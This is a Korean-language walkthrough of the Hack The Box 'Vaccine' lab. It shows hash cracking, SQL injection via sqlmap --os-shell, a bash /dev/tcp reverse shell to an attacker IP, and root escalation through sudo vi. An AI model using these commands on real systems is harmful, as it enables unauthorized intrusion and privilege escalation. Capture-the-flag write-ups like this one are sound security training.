Hack the box의 Starting Point 중 Vaccine 문제를 해결하는 과정을 기록
이번 테스팅 머신도 Spawn 후 바로 Nmap으로 포트스캔을 했다.
21/TCP : vsftpd 3.0.3
22/TCP : OpenSSH 8.0p1
80/TCP : Apache 2.4.41
FTP 서비스에 Anonymous 계정이 허용되어있어 FTP 접속 후 backup.zip파일을 다운로드 성공하였으나 zip파일에 비밀번호가 걸려있다.
zip2john과 john the ripper로 손쉽게 비밀번호를 찾을 수 있었다😏
압축이 해제되고 index.php 파일 내용 중 php 코드에서 admin 계정의 password의 md6 hash를 확인할 수 있었다.
<?php
session_start();
if(isset($_POST['username']) && isset($_POST['password'])) {
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
}
}
?>
password의 md5 hash를 crackstation에서 크랙하면 간단하게 결과가 나온다. qwerty789
Nmap 스캔에서 해당 서버는 80/TCP(Apache)가 오픈되어있었고 해당 웹사이트로 접근하여 로그인 시 성공되며 "/dashboard.php"로 리다이렉션한다.
SEARCH 입력으로 싱글쿼터(')를 입력하니 에러가 출력된다. (SQLi😎)
무지성 sqlmap을 시전하였다🤣 search 파라미터가 취약하며 DB종류만 스캔했기에 아래와같이 DB 종류가 나열된다.
--dbs 옵션을 제거하고 --os-shell 옵션을 주어 shell을 탈취할 수 있다.
Kali에서 12321포트를 리스닝하면서 bash -c "bash -i >& /dev/tcp/10.10.14.121/12321 0>&1"
명령을 전달해 편-안한 쉘을 획득하고 python3 -c 'import pty;pty.spawn("/bin/bash")'
를 실행하여 더 편-안한 쉘을 획득한다.
postgre 사용자 shell로 파일을 탐색하면서 이전에 방문했던 dashboard.php의 코드를 확인하니 DB Connect하는 코드에서 postgre의 password를 찾을 수 있었다. P@s5w0rd!
(SSH 서비스가 열려있으니 편하게 SSH로 진행한다)
sudo -l을 통해 sudo로 실행할 수 있는 명령이 있는지 확인하니 vi로 특정 파일을 열 수 있다.
GTFOBins에서는 잘못된 시스템 구성을 통해 권한상승/파일쓰기/리버스쉘 등의 행위가 가능한 cheat cheet가 작성되어있다. 여기서 vi관련된 내용을 확인한다.
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
:set shell=/bin/sh
:shell
sudo vi를 통해 권한상승이 이루어져 root shell을 획득할 수 있다.